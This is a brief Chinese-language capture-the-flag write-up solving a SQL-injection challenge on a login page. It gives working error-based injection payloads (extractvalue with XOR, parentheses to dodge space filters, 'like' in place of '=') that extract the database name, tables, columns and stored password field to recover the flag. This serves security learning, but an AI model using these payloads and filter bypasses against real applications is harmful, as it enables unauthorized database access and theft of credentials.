检查页面元素
用get的方式请求两个参数username和password
利用hackbar工具
用户名和密码随便构造
在密码处尝试注入
发现单引号会报错,而双引号则不会,应该是普通单引号闭合的字符型注入点
尝试注入,发现对sql语句有过滤,并且存在着URL转码
union及select等函数同样被过滤
利用报错注入
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(database()))))%23
得到数据库名
username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23
语句使用()绕过了空格,用like绕过了=号
username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23
check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))%23
flag{166bdf3a-64d3-4b24-9fa3-ae
利用right函数获取剩下的flag
check.php?username=admin&password=admin'^extractvalue(1,right(concat(0x7e,(select(group_concat(password))from(H4rDsq1))),20))%23
拼接的到flag{166bdf3a-64d3-4b24-9fa3-ae3cb68dbada}